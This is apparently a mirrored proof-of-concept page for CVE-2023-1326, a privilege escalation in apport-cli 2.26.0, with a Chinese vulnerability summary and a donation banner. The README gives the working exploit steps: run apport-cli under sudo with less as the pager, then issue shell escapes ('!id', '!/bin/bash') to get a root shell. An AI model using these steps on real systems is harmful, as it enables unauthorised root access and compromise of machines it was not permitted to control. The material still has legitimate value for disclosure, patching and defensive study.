Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-1326 PoC — Apport 安全漏洞

Source
Associated Vulnerability
Title:Apport 安全漏洞 (CVE-2023-1326)
Description:Canonical Apport是英国科能软件(Canonical)公司的一款用于收集并反馈错误信息(当应用程序崩溃时操作系统认为有用的信息)的工具包。 Apport 2.26.0及之前版本存在安全漏洞,该漏洞源于存在特权升级漏洞,攻击者利用该漏洞可以提升权限。
Readme
# CVE-2023-1326

A proof of concept for CVE-2023–1326 in apport-cli 2.26.0

This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers:

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/f052d0f2-6f35-4510-8a7c-b2133fa3c6b2)

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege.

```
sudo /usr/bin/apport-cli -f
```

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/ce8fe682-3be4-4420-87e0-ad1b75126af3)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/db6f803e-b8d7-43b9-93ed-21dc648f08df)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/3dbbc88f-b3f8-4650-8fe3-1050f123bed6)

```
!id
!/bin/bash
```
![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/efed11c2-af7b-4866-9ccf-bb561da6018d)



File Snapshot

[4.0K] /data/pocs/dab45596d6d19bb458d767f0c3e1d9b3efc1cfcc └── [1.1K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.